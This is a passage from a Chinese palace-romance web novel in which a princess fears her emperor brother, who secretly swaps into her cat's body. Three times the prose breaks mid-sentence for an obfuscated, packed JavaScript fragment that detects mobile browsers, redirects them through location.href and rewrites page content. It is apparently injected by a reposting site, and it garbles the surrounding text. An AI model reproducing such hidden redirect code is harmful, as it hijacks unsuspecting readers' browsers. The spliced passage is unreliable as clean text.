“这儿风大,奴婢扶公主起来吧。” 安玥点点头,刚一起身,忽觉脚上一阵发麻,头晕目眩,往前踉跄了几步。便觉有什么东西同身侧擦过。 她心下一惊,未缓过神,便听“噗通”一声,湖中溅起的水花打湿了裙摆。 “公主,有人落水了!” 借着若桃手中的灯笼,安玥看清水中扑腾的人。 “快叫人。” “来人啊!有人落水了!来……公主!” 若桃刚一开口,便见水中的人不知何时爬了上来,露出了大半截身子,一只手湿哒哒地拽住了安玥的衣裙,似是要把人往下拽。 若桃被这一幕吓得肝胆俱裂,连忙把自家公主往回扯。拉扯间,便听裂帛一声,裙摆被撕开,那人眼看着抓不住,又要去抓安玥的腿,不防安玥哆哆嗦嗦把他往下一踹。 他一时不察,又跌回湖中。 安玥缓过神,反手拉着若桃往回跑。刚跑出两步,她见到远处隐隐有光亮,是排排宫灯。 她以为得救,朝那边奔去,看见金龙步辇停下。安玥心底咯噔了下。 一只骨节分明的手掀开御帘,里面露出半张脸。下颌轮廓锋利,眉如远岫,面若冰玉。那双眼睛注视着这边,来人指腹摩挲着虎口,眼底似有松散的笑。而剩下半张脸隐在黑暗里,晦暗不清。 是曲闻昭。 她脚步堪堪顿住,不经意往后退了两步。 辇上的人缓缓下来,走近了,安玥看清他脸上的笑意,似有打量,“妹妹从何处来?怎得这般狼狈?” 安玥慌忙低头,她心颤得厉害,此事是否和皇兄有关? 她一抬眼,正撞进一双漆黑的眸子,大脑几乎忘记思考,原本想好的措辞一瞬间也搅散了,“有……有人要杀我……” 曲闻昭走近几步,弯下腰,一只手压在她肩上,“谁要杀你?” 安玥觳觫了下,“我不知道……” 曲闻昭居高临下盯着她,无半分要出手相救之意。 若桃站在一旁,看出气氛不对,连忙将自家公主护在身后,警惕地盯着他。 曲闻昭不将这侍女放在眼里,他睨着她身后的安玥,便见她一手哆哆嗦嗦伸进袖中,似是要拿什么。 曲闻昭猜那里面定然放着一把匕首。 未防额心一热,什么东西飞快贴了上来。与此同时曲闻昭抬手抓住了安玥的手腕。他眯了眯眼睛,把额头上的东西扯下,那是一张绘了朱砂的符咒。 安玥贴符咒几乎是不经意的动作,手腕上的刺痛让她清醒了几分。 而另一侧,曲闻昭面上的温度维持不住,骤然沉了下来。 不远处亮起火光,是若桃先前以为有人落水,几嗓子喊来的人。 一同过来的还有镜烛宫的近卫。 曲闻昭拽着那张符纸,古井般的眸子,生出波痕。 安玥感受到身后动静,却未松懈半分。她想后退,面前传来声音,“妹妹这是何意?” 安玥察觉自己做了什么,缩了缩脖子,眼神飘忽:“这是符纸……辟邪用的……可以保平安,安玥分给皇兄一些。” 曲闻昭唇角微扯,“是吗?” 他凑近了些,热气喷洒在安玥耳边,“妹妹看出我是人是鬼了吗?” 安玥瑟缩了下:“是……是人……” 遭了,她在说什么? “不是,安玥不是那个意思!” 她磕磕绊绊,想着措辞:“皇兄生得很好看,话本里的妖精长得都很好看,安玥一时惊慌,才会认错。” 她梳得双螺髻。两边各留有一束头发垂在腰间,风一吹,那两只螺髻似是颤了下,像是两只兔耳朵,正打着哆嗦。 曲闻昭一瞬间忽然有些明白,为何皇帝如此宠爱这个女儿,就连曲奕,临死前宁可担下罪责身败名裂,也要替安玥洗清关系了。她确实很会讨人欢心。 他未说话,袖子一重,面前的人强忍住害怕拉住他,“皇兄,安玥不是故意的,安玥就是被那人吓着了。你不要生气。” “我没生气啊。”他看了一眼不远处的火光,悠悠地看了安玥一眼,叹了口气。 他语气揶揄:“裙子都湿了,不冷吗?” “去换身衣服吧。” 安玥一低头,方看清自己裙角沾了泥点,她面色微窘,行了个礼慌忙离开。曲闻昭看着她狼狈的背影,低低笑了声。 他如今尚未弄清穿身原因,若是此事和安玥有关,贸然把人弄死,他怕是再难找到解决穿身之法。 就这样当个乐子,倒也不错。 只是曲闻昭一想到她昨日磋磨了自己那么久,眼下看见她那劫后余生似的的背影,有些不悦,并不想这么轻飘飘放过她。 安玥尚未跑远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592339|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一名侍从拦在她身前,语调冰冷,“公主,陛下请您回去。” 安玥面色苍白,回头看了曲闻昭一眼。见皇兄一身玄衣坐回辇中,泼墨般与夜色融为一体。四周的宫人手提宫灯,灯光映在他的面上,他眸光漆黑,光影朦胧间,他似是朝自己露出了抹笑。 像是昳丽的鬼魅。 安玥视线躲了下,低头看着自己的鞋尖。再抬头时,语气恢复正常,“我此刻衣衫不整,不宜见驾,可否等我换过衣裳?” 一旁的胡禄堆笑道:“陛下说夜里凉,公主湿着衣裳那么远回去,怕公主着凉,让公主移步上辇,送公主回去。陛下也是为公主着想,还望公主莫要为难。” 皇兄会这么好心? 安玥不知道,但她看了眼那拦在身前侍卫,此刻杵在身前纹丝不动,她就知道自己非去不可了。若是以前,断没有人敢做出这般无礼之事。 可打狗还得看主人。 她抬起头,面上强维持镇定,吩咐一旁的若桃:“让侍卫在宫外候着。” 若桃连忙应:“是!” 安玥调转鞋尖往回走,到了辇前,一只手掀开御帘,顷刻有内侍搀扶着安玥上去。 进去时,四周萦绕着一股极淡的玉兰味,夹着一股清冷的雪气,凉丝丝的,直往人衣领里渗。 里面不如想象中那般漆黑,有暗黄的灯光透过帘子照进来。 小时候她坐过父皇的御辇,记得当时是白天,下了雪,四周都是亮的,并不冷。 可皇兄的轿辇不同,紫檀木的矮几上摆着一只香炉,气味应是里面散出的。 里面凉得不似有人气。 安玥语气试探:“皇兄?” 曲闻昭手里拿着只竹简,未抬头,“坐。” 安玥强忍住惧意,放低了动静,在曲闻昭边上坐下,尽量不惊动看书的人。 位子未垫东西,由冷又硬。安玥低着头,看不清他神色。只能端正坐着,僵着脊背,祈祷快些回去。 她夜里惊梦,本就未睡好,一番折腾,困意上涌,又见曲闻昭没有要为难的意思。安玥双目渐渐阖上。意识昏沉之际,她脑袋往下一沉。 啪嗒。 竹简敲在矮几上,将她惊醒。安玥睁开眼,目色迷茫了阵,撞进一双戏谑的深眸,方想起自己还在皇兄的娇辇上。 她吓得往后一躲,“砰”得声,脑袋撞到了辇壁。 “嘶——”安玥不经意伸手捂住脑袋,却碰到了一只冰凉光硬的指节。 曲闻昭的手正压在她的后脑勺上。 她几乎忘记疼痛,缩回手,抬头正撞见一双深不见底的眼,“痛吗?” 安玥警惕地盯着他,点了下头。放在头上的那只手却没有要拿开的意思,只是顺着她的头发往下,一路到后颈。 安玥冷得打了个哆嗦,那只手缓缓收紧,安玥眸子睁大,强忍住颤栗,“皇……皇兄?” “妹妹那日说养了只狸奴?不知脾气怎么样?”他指尖还缠绕着安玥的一缕发丝, “宠物的脾气随主人,妹妹脾气这般好,养的狸奴脾气应当也是好的?” 5. 第 5 章 他语气平淡,似在唠家常。安玥愈发摸不透皇兄的意思。 皇兄怎会突然看上了她养的狸奴? 一想到那日太极殿上的一幕,安玥面色都白了几分,“皇兄不知,安玥脾气不好,养的狸奴脾气也不好。咪儿会抓人……”安玥抬起手背,露出那道残浅的印子,“前几日安玥还被咪儿抓了下。咪儿性子可顽皮了,需人耗耐心调教。若是见了生,怕会伤了皇兄……嘶。” 安玥话未说完,放在脖颈的那只手加大了力道。 曲闻昭看清她眼底的害怕,眼底那股快要压不住的冷意又褪了些,右手顺着她脖颈,沿着脊椎下移。 昨夜她不就是这么对自己的吗? 此事若是和她有关,那她说这番话是挑衅自己?感觉到指下的人瑟缩了下,曲闻昭眼底笑意更甚,“妹妹这么说,皇兄倒起了兴致。” “妹妹乖巧温顺,或许正好?” 安玥僵了瞬,“正好”是何意? 皇兄要拿她当狸奴吗?哪有这样作践人的?!她一下子忘了害怕,拂开曲闻昭的手,一双眼睛圆溜溜瞪着他:“皇兄若是喜欢,安玥改日让人挑只温顺的给皇兄送去便是。” 曲闻昭观察她神色,未见到她身前有半分异样。 看来事情的确不是她做的。 想到安玥昨夜那副样子。也是,她若是有那本事,何需惧成那样? 此事不能让第二个人知道。亦不能这般轻飘飘掀过去,至少得先把狸奴要过来,省得又…… 曲闻昭周身气息冷沉几分,他收回手,“我看妹妹宫里那只就很好。既然它如此不听话,皇兄替妹妹养一段时日可好?省得又抓伤了妹妹。” 竟是一副商量的语气。 “不要!”安玥几乎是想都没想就拒绝了。 眼看皇兄目光冷了下来,安玥后知后觉,连忙拉住曲闻昭的手,柔声道:“咪儿怕生,怕伤了皇兄。其实咪儿大多数时候都很乖的,只是偶尔起性子。若是突然换了环境,还不知要如何。” 曲闻昭看了眼拉住自己的那只手,“妹妹可是舍不得?” 安玥没再躲,直视曲闻昭的眼睛,“不能割爱。” 她半分不让,一改先前瑟缩畏惧的样子,甚至有几分剑拔弩张的意味。 曲闻昭看着她的眸子。不得不承认,安玥的眼睛很漂亮,一双狐狸眼,此刻瞪大了,眸光都是亮的。 有脾气了。 那如果再逼急些,不知会不会像上次那般咬人?原已痊愈的伤口再度泛疼。 曲闻昭意味不明笑了声:“皇兄又不会杀了它,只是借几日,都不可以吗?难道在妹妹眼里,皇兄不如一只猫?” 安玥听到那个“杀”字,眼皮子跳了下,“皇兄误会了。” 她察觉自己声音有些冷,放弱了语气,“只是父皇驾崩,安玥宫里如今也只有一只狸奴陪着安玥了,难道皇兄也要夺走吗?” 曲闻昭假装没看出她的情绪变化,“确实孤单了些。既然如此,妹妹不如般来宁兴宫。正好,皇兄也缺个作伴的人。若是妹妹不愿把猫送来,不如自己过来,如何?” 搬过去?她如今和皇兄同坐在辇中不过一炷香,便觉得如坐针毡臀下生钉,若是人搬过去日日见着,岂不是寿命都要短一截? 可若是不搬,就要把咪儿送过去。咪儿怕生,若是抓伤了皇兄…… 她不敢想。 安玥白着面色,抓着膝上衣料的手不经意拽紧了。她挣扎犹豫之际,头顶传来一声轻笑,“皇兄同你开玩笑的。” 曲闻昭收回视线。她这妹妹平日里胆子那般小,一提到要她的狸奴,浑身尖刺都要竖起。 既然她如此护着那狸奴,倒也有好处。毕竟他如今穿身之事不可泄露半分,若是那狸奴伤了或者死了,那难保他不会受到影响。 曲闻昭凤眸微眯。 安玥怔怔看着曲闻昭,连轿辇何时停了都不知道。最后是曲闻昭抬手在她面上轻轻捏了下,“到了,不走吗?” 安玥鼻子一酸,扭头从辇上下去。她下去时,冷风扑面而来,她想起忘了行礼,欠身:“恭送皇兄。” 曲闻昭盯着宫灯下单薄的身影,片刻,将御帘放下。 宫人将辇抬起,掉了个方向。明灯随着步辇渐行渐远,周围气息流动开来。 安玥站在风里,揉了揉酸涩的眼睛。 刚刚皇兄那个动作,让她想起曲奕了。 算了,没有谁会陪她一辈子的,剩下的路她要自己走下去。 总归活着就有希望。 她抬脚往回走,感觉脚边被一团毛茸茸的东西蹭过。她若有所感的低下头,便见咪儿坐在她脚边。 “喵呜。” 安玥心念微动,把雪团子抱起,摸了摸它的头,“我还有你!” 咪儿乖巧地蹭了蹭她掌心,缩在她怀里,由她抱着往湢室走去。 咪儿怕水,入了湢室便站在屏风边上,一侧的架上挂着安玥的衣裳,一截系带长长垂下,咪儿跳起来去勾它,一会儿的功夫,原本平整的料子被勾破了线。 安玥从汤池出来,她穿着睡裙,裙边垂到脚踝,她未披外衫,露出雪白的胳膊,便见咪儿在“搞破坏”。 衣裳显然是不能穿了。她将咪儿抱起,佯怒:“你得赔我衣裳了!” 咪儿听不懂她说的,感受着安玥身上的温度,往她怀里蹭了蹭。 安玥伸手在它脑袋上拍了下,怎知咪儿这次反应出奇得大,几乎是电光火石间便窜开了。 另一侧,曲闻昭察觉自己又换了身体。他不耐地抬起头,正见到安玥有些疑惑得看着自己。 她雪白的肩头生有一颗红痣,点在上面,分外旖旎。脑中想起昨夜他被她抱在怀里时,时不时蹭过的那两团软肉。 他浑身僵住,立时就要出去,被一双藕臂捞起。曲闻昭挣脱了两下,头顶传来“威胁”,“再闹小心我拍你屁股。” 安玥话落,咪儿果真不再动弹。她一低头,便见怀里得狸奴抬头盯着自己,神情莫名有些冷,有点像…… 皇兄? 这个念头出来的瞬间,安玥没忍住打了个寒颤,险些把手里的猫扔出去。可再细看,却见咪儿睁眼看着空气,时而伸出爪子蹭了下脸,面色不见半分异样。 安玥松了口气。定是她今日太害怕,多心了。 安玥抱着咪儿回到屋内,从角落的柜子里取出根红丝标杖。细长的竹杆,杆上缠绕红色丝线,顶端用线吊着根羽毛。 安玥拿着那根杆在空中挥了两下,语气藏着几分引诱,“咪儿。” 世间竟有人如此愚稚。 曲闻昭看着她这幅样子,眯着眼,耳朵向后撇了撇,瞧着有些不耐。 安玥手里提着长杆,细羽轻轻撩过咪儿的脑袋。却见咪儿索性趴下,闭上眼不再理自己。 安玥自顾自“咦”了声,“是累了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592340|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她伸手,曲闻昭便觉着身体悬空,落入她怀里,头顶传来声音,“既如此,便睡吧。” 他被安玥搂着,她抱得不算用力,却被这班不轻不重环着,一时不好脱身。被中沾了安玥身上的体温,熟悉的甜香随着温度飘散,丝丝缠绕。 曲闻昭以为自己会抵触,可真的被抱住时,他竟觉得有些犯困。 大抵是被磨得适应了。眼看挣脱不得,他压下心底那股不悦,算了,今夜且先这样吧。 安玥第二日醒来,回想起昨夜那一幕,面色仍有些泛白。 皇兄是来杀她的,这一点几乎可以确定。可为什么最后没有动手?是因为宫中侍卫及时赶到,皇兄不想落人口实? 那是不是说,至少皇兄不会在人前动手。 若是她能主动上门示好,事情难保不会有转机。 安玥遣散厨娘宫人,在膳房忙活了一早上,做出的糕点不是变了型,便是碎成了渣,更有甚者,已是通体焦黑,活像笼煤炭。 这样的东西,显然是不能送人的。 若桃站在一旁,一张脸绷到极致,硬生生把笑憋了回去。 安玥看着笼里的糕点,抿唇看了眼四周,吩咐若桃,“倒了罢。” 若桃接过糕点,“奴婢明白。” 若桃出去时,张望了眼四周,见没人,悄悄把糕点倒入外面的草堆里。那模样活像做贼。 若桃端着盘子回来,见公主正对着面前的面粉,神色认真。 她想帮忙,但这样精细的东西,她也没做过。 “公主怎得突然想起做糕点了?” 安玥收了神,语气如常:“唔,没事……闲着无事,做着玩玩罢了。” 今日做得够多了,再耗下去也是无益。安玥回去后,鉴取前几次失败经验,第二日再去时,做出来的糕点卖相果真变好了不少。 瞧着与厨子做得相差无几。 若桃探出脑袋来看,神色惊喜,“公主,您好厉害!” 安玥拿了块黑红的枣泥糕递给若桃,“尝尝。” 迎着公主略带期待的目光,若桃将糕点咬了一口,面色扭曲了瞬。 枣泥糕蒸得太久,蒸锅烧干了,连带着糕点都有些焦苦,偏生公主又加了很多糖。 “味道如何?” 若桃将糕点一口咽下,翘起大指,“好吃。公主果真天赋异禀。” 安玥松了口气,“不枉我起早贪黑。” 趁着糕点还热乎,安玥本想直接将糕点给皇兄送去,尚未来得及吩咐,若桃不见了人影。问了方知道,是若桃夜里受凉,闹了肚子。 安玥连忙吩咐人熬了药送去。又吩咐清栀随她出门。 若桃从茅厕回来,看着桌上热乎的汤药,正感动得两眼泪汪汪,听到公主拿着糕点出去的消息,登时不啻雷击。 待要去追,发现已经来不及了。 含彰殿。 “陛下,安玥公主求见。” 啪嗒。 刚批阅完的奏折合上,被叠在了最上层。数十本奏折垒在案上,摇摇欲坠,被胡禄赶来扶稳了。 曲闻昭笔尖微顿,轻轻抬眼。 胡禄触着这眼神,脊背微僵,忙道:“奴婢让人回去。”他弓着腰,甫一到门口,身后传来清冷的一声,“等等。” 曲闻昭眼底不自觉生出戏谑。 他尚未想到如何与她清算,她怎么敢自己送上门来? 6. 第 6 章 安玥在殿外站着,风扫在人身上,有些冷。正是秋末冬初,天黑得格外快些,风透着寒意,有些呛人。安玥不经意搓了搓手背,一旁的清栀见状,忙不迭替安玥拢紧了狐裘。 安玥手里拿着只汤婆子,掌心是热的。她抬手贴了贴自己的脸。 有些凉。 她事先已做过心理准备,皇兄怕是没那么容易召见她。算了,无非等得久些。 不知过了多久,安玥觉着手脚都要僵硬了。门缝透出些许光亮。一道肥胖的身躯从缝里卡了出来,“公主,陛下请您进去。” 殿外风大,安玥原本白皙的面被风吹的双颊有些泛红。一双羽睫也簌簌发颤。 她进了殿先行礼,“皇兄。” 啪嗒。 笔被轻搁在笔山上。安玥没忍住一颤。 “妹妹怎么来了?” “安玥来给皇兄请安,顺便带了盒牛乳糕过来,感谢皇兄昨夜……救命之恩。” “救命之恩?”曲闻昭语气玩味,他未抬头,一旁的胡禄上前将那盒糕点接过。 “妹妹客气了。坐吧。” 安玥甫一坐下,从糕点盒里取出枚糕点递给曲闻昭,“皇兄尝尝?安玥亲手做的。” 她有意示好,缓和关系。 曲闻昭看了眼那枚枣泥糕,“妹妹亲手做的?那皇兄可得尝尝。” 他接过糕点,送至唇瓣,忽得想到什么,将那枚糕点递到安玥嘴边,语气含笑,“妹妹先吃。” 这动作有些亲昵。安玥瞪大眼睛,心下了然。皇兄是怕她下毒? 安玥双手将枣泥糕接过,轻轻咬了一口。糕点入口的瞬间,一股焦苦混杂着甜,在唇齿间化开。 味道有些怪,莫不是坏了? 她捂住唇,不经意想吐出来,一抬头正对上皇兄玩味的眼神,“怎么了?” 安玥心绪颤了下,这时候若是吐出来,她岂不是百口莫辩? 曲闻昭见她神色有异,眼底溢出冷意,他伸手捻起她下巴,指腹在她脖颈处摩挲了下,又顿住。 咽下去了? 那看来是没毒。可惜,他不想吃。 曲闻昭收回手,安玥以为皇兄要去拿糕点,连忙将点心盒提起抱在怀里,盒身硌得她胸口疼。 “皇兄!”她语速突然变得极快:“安玥改日再送盘新的给你。” 这糕点若是让皇兄吃下去,皇兄不得当场砍了她? 曲闻昭轻轻抬眼:“为何?” “因为……安玥突然觉着这盘做得没那么好,怕皇兄不喜欢!” 曲闻昭看见她这幅警惕心虚的样子,终于起了些兴致,“怎会?” “既是妹妹的一片心意,皇兄自然不会嫌弃。” 曲闻昭伸手抓住提柄。他未用力,只虚虚搭在上面,安玥吓得又把点心盒抱紧了几分,二人一时僵持。 曲闻昭看了她一眼,安玥有些心虚地错开目光。 她今日过来送糕点,送一半却不送了,落入皇兄眼里,皇兄会不会觉得自己戏弄他? 安玥安慰自己,算了,适才也未细品,或许只是那一块味道不好。 毕竟今日若桃尝过,还说好吃来着。 想到这里,安玥又从糕点盒里挑了块卖相瞧着不错的,递给曲闻昭,试探:“那皇兄尝尝?” 曲闻昭看出她眼底的试探,拿起糕点咬了一口,他眼底的玩味还未散去,动作一顿,眸光骤然沉了下来。 他将剩下的糕点扔回到篮子里,抬眼,在安玥的眼里视见惴惴之色。 他眯了眯眼。 胆子倒是比他想象中的大。刚才那般,是故意引他上钩? 曲闻昭抬手将那枚咬了一口的糕点捻在手里,揉捏,“这糕点好吃?” 有一瞬间安玥觉得,皇兄捏着的是她可怜的脖子。 她一面觑着曲闻昭神色,一面小鸡啄米似的点了下头,“还……可以?安玥也没尝过……但安玥问过,若桃都说我天赋异禀,那想来味道是好的。” 曲闻昭想起来,她身边是有个圆脸婢女。曲闻昭目光生寒,“还当真是天赋异禀。” 他不杀安玥,不代表不会杀其他人。此番倒是提醒他了。“此等媚上谄下之人,妹妹还是早些除去为好。” 安玥连忙错开话题:“是不好吃吗?” “好吃啊。”曲闻昭抬手,从盘中又取了枚糕点递给她,“妹妹多吃些。” 那糕点她适才也只咬了一小口,只记得初入口时有些苦,可后来……似乎有些回甘? 若桃都说好吃。 听皇兄的语气,是觉得不好吃? 安玥撇撇嘴,好生没品。 她坐在那一语不发,那不服气的意味几乎要写在脸上。 直到一枚糕点递至她唇边。 迎着曲闻昭的目光,安玥连忙咬了一口,这一口咬得大了些,那股枣泥的焦苦混杂着甜味愈发清晰。 不是坏了。只是……焦了? 口感似乎还有些脆。 她又试了两口,觉得吃习惯了,那味道似乎还不错。她抬起一双眼睛,试探道:“皇兄还吃吗?” 曲闻昭眯了眯眼,发现她神情不似作伪。他气笑了,口味果真异于常人。 “不必。” 她吃了几口,觉得口中有些发干。她把糕点放下,端坐在位置上,一会看了看茶水,一会又抬起目光乖巧地看着他,颇有几分得寸进尺的味道。 曲闻昭觉得自己是不是对她太过温和,才会让她忘了害怕。 他看了胡禄一眼,胡禄会意,上前替安玥倒茶。 与那日在辇中不同不同,殿内烧了金丝炭,宽敞明亮。 案上点了香,是清冷的竹木气息,沾了熟悉的木兰香,似乎是皇兄身上的味道。如今又多了一抹茶香。 安玥趁着喝茶的功夫,悄悄打量了一眼殿内,琴桌,书册,屏风,四周摆设极为整洁。 她喝至一半,将茶水端至鼻尖,轻轻嗅了一下,“这是什么茶,好香。” 曲闻昭未应她,最后是胡禄开口:“回公主,是顾渚紫笋。” “我说味道怎得这般熟悉。” 她看了眼四周,寻到了个夸赞的由头:“皇兄这儿亮堂多了。” “噢?”曲闻昭眼里似有笑意,“妹妹很怕黑吗?”“鬼魂索命,妹妹没做过亏心事,应不怕才是。” 安玥觉得曲闻昭话里还有话,勉强笑了笑,看着手里的茶水不说话。 “妹妹可知,昨日是何人想杀你?” 安玥脊背僵了僵,装作不知:“皇兄可有查出?” “妹妹以为是谁?” 安玥摇摇头,“安玥不记得有得罪过谁,也没有威胁到谁。” “可孤以为,妹妹让人查了孤身边的人,是有眉目了。” 他话落。窗外轰起一声惊雷,紧接着似有天珠滚落之声,大雨倾盆而下。 安玥脊背一僵,感觉有一桶凉水从头浇下。 她莫名想到这句话背后的意味,面色变得有些苍白。 她把茶盏放在桌上,茶水溅出些许。她佯装看了眼窗外,“天色不早了……安玥不便再叨扰。皇兄早些休息。” 她一只手支着桌案,甫一起身,刚走半步,手背传来一阵凉意。她未站稳,又被这么一吓,腿上发软,整个人被手上的力道带得往后一跌,撞进一人怀里。 “妹妹当心。” 安玥回过神,见曲闻昭不知何时从凳上站起,好整以暇看着自己。 她浑身一颤,忘记挣扎,“多……多谢皇兄。” 曲闻昭一只手扶着她的手臂,“不急,妹妹不再多坐一会吗?” “今日风大,又落了雨,殿外的灯被吹灭了好几盏,怕是比平日要暗上许多。” 安玥想到什么,面色又白了几分。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592341|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而头顶的目光落在她身上,似是观察着她的情绪变化。 安玥不经意看向桌上那盏茶水。若是皇兄要杀她,早该在茶水里下药才是。可为何没有动手?还是说这样太明显,皇兄怕被人查出? 她如今若是出去,若是再有刺客要动手,岂不是方便得多…… 一股寒意从脊背蔓延至全身。 “妹妹在想什么?” 安玥打了个寒颤,往后退了两步,“没……没有……臣妹再坐会儿?” 曲闻昭故意吊着她一般,一言未发。 安玥坐回矮凳上,竭力让自己神色如常,“臣妹平日嘴笨……若是得罪了二皇兄,还望二皇兄多多见谅。” “怎会?” 安玥听到这两个字,就要松一口气,便听头顶接着传来声音,“妹妹如今这样,不是很机灵吗?” 安玥一颗心再次提起。她扭过头,看向身后的曲闻昭,干巴巴扯了抹笑来。二人都未说话。偌大的房内陷入死寂。 窗外的雨声混杂着茶水沸腾的声音,下一刻,一道白光劈进殿内,窗外惊起一声闷雷。安玥忍不住抖了下,曲闻昭看了过来。 身下的凳子好像生了针般。 旋即,屋外传来细不可闻的脚步声,是侍儿进来添炭。 安玥再坐不住,起身敛衽,“雨好像小了,安玥先回去了。” 临近出门,曲闻昭骤然将她叫住。安玥浑身打颤,却不想身后只是吩咐人取了伞递给她。 安玥接过伞忘了道谢,几乎夺门而出。 身后,曲闻昭看着她慌乱的背影,轻轻笑了声。 胡禄站在一旁看完全程,有些不解,犹豫着问:“陛下未安排人动手,为何同公主那样说?” “吓她罢了。”曲闻昭站起身,“备水。” 他身上沾了股甜腻的香气,莫名突兀。让人心烦。 胡禄心中有数。他最早陪着祺嫔娘娘,后来娘娘薨逝了,他便跟着小主子。 一眨眼已有十三年了。 他对姜婉的恨不会比曲闻昭少,可直觉这位公主同她母妃不一样。 可当年姜婉不也是这般,骗过了祺嫔娘娘吗?便也只能祈祷这位公主,莫要死得太难看。 湢室,男子将身上衣物褪下。羊脂玉般的肩背,再往下是紧致有力的腰身。 这副体态堪称完美,唯独胸口处有一道淡淡的疤痕,纵使快要看不出痕迹,但在白皙的皮肤上便尤为突兀。 “四皇弟如何了?” “回陛下,伤口化脓,发着高烧,被太医吊着口气。” “看着些,别让人死了。” 胡禄道:“奴婢明白。” 外头皆传四皇子是染了疫病而死,又有人说此事和太子脱不了干系,却不知本该“死去”的四皇子,如今被人囚禁在冷宫偏殿那口枯井下,被毒哑了嗓子,手脚筋也被人一根根挑断,求生不得求死不能。 安玥沐浴完,狂跳的心方安定下来些。皇兄没让人杀她?那为何要那般说? 她定了定心绪,想起那块枣泥糕。难道皇兄怀恨在心,故意吓她? 那糕点只是味道差了点,反正第一次做,能做成这样已经不错了。 况且千里马还需遇伯乐呢。 脚边传来一阵绵软,安玥低头将地上的雪团子抱起。她唇角勾了勾,吩咐清栀:“膳房的枣泥糕还有吗?” 清栀不知个中细节,“回公主,还剩几块。” 公主做的东西,旁人没听到吩咐,哪里敢扔? 安玥屈指挠了挠咪儿的下巴,“拿过来。” 曲闻昭穿过来时,率先闻到的是一股焦苦的味道。有些熟悉。 他想起什么,面色微变,一低头,果真见到熟悉的糕点。他没忍住往后退了两步,却被一只手捏住后颈。 头顶诱哄似的传来一声:“咪儿,你尝尝,可好吃了。” 7. 第 7 章 好吃? 曲闻昭心底冷笑,这女人是不是味觉坏了?他觉得自己有必要找个医师给她好好看看。 思绪飘转间,他唇边传来绵软,几根手指捻着枚焦黑送入口中。 他未来得及抵抗,熟悉的味道直冲而来,不知是否是因为猫身,他尝不出甜味。那股苦味就愈发清晰,加之糕点放得太久,又干又冷,即使安玥现在那一盆土让他吃,味道也不会比这个更差了。 他绝不可能吃这种东西! 曲闻昭几乎一瞬间就把糕点吐出来了。 却不想那女人发起了疯,直接朝着他的臀拍了下,语气颇有几分说教的意味:“咪儿,不可浪费粮食。” 她话落,咪儿尾巴竖起,几乎一瞬间窜开。可没窜远,就被安玥抓了回来。 曲闻昭忍无可忍,扬了扬爪子,却发现指尖空荡荡。 等等,他的爪子呢?! 一会儿的功夫,安玥再度把那盘糕点推到面前,她抚了抚他的头:“吃吧。” “不吃的话,我就……” 她话未说完,便见咪儿抓起一枚糕点放入口中,嚼骨头似的。 安玥见咪儿吃得津津有味,极为高兴得揉了揉它的头,“咪儿,你可真是我的伯乐。” 她自言自语,说服自己似的,“皇兄那等没品之人,自是无法理解。” 她话落,方觉后脊有些发凉。她若有所感地低下头,却见咪儿仍掐着糕点不放。 安玥心情大好,旋即将他抱起,往屋外走去。若桃在外面候着,见公主出来,将搭在臂弯的狐裘盖在公主身上。 在安玥未察觉的地方,怀里的咪儿有些不耐地掀了掀眼皮子。 雨已经停了。夜里风寒,冷意透过衣领直往人脖子里钻。 曲闻昭闭上眼,一道绵软将身子笼罩。他半眯着眼,面前是一个晃动的光球。他被安玥拢进狐裘里,只露出半个脑袋。 曲闻昭索性寻了个舒服的姿势,不动了。 不知走了多久,二人到一扇门前。曲闻昭抬起眼,看见朱红的门上挂着枚匾额,上面写着婉明宫三个大字。 姜婉的旧宫。 他眯眼盯着那三个字,瞳孔幽幽泛光。 里面许久未住过人,门槛上不可避免沾了灰,却不破败。 啪嗒一声,门锁打开。宫门打开的瞬间,伴随“吱呀”的声响,里面的光景一点点透出。 她这会过来,只是心血来潮,身边未带多少人,宫中只零星点了几盏灯。 院中的杏花树失了颜色,只剩下光秃的枝干。宫殿上的漆也褪了色,灰败冷寂,却不荒芜。显然是每隔一段时间便有下人来打扫过。 两宫离得极近,先帝在时,念及安玥悼念母妃,索性将钥匙给她。她很少过来,毕竟十多年过去了。 寒风吹乱了发丝,木头被岁月磨得裂开,从缝里散发出一股陈旧腐烂的气息。 院后有一棵巨大的槐树,树下挂着只秋千,沾了雨水,湿漉漉的。 这秋千是姜贵妃亲手做的。最开始上面缠了花藤,那时候姜贵妃坐在上面,小小的安玥就坐在她的腿上。 风很轻,很软,母妃的怀抱很暖和。身上的味道也让人安心。 若桃知道公主要坐,便从袖中掏了块帕子出来,她动作极其利落,不一会儿便将秋千擦得噌亮。 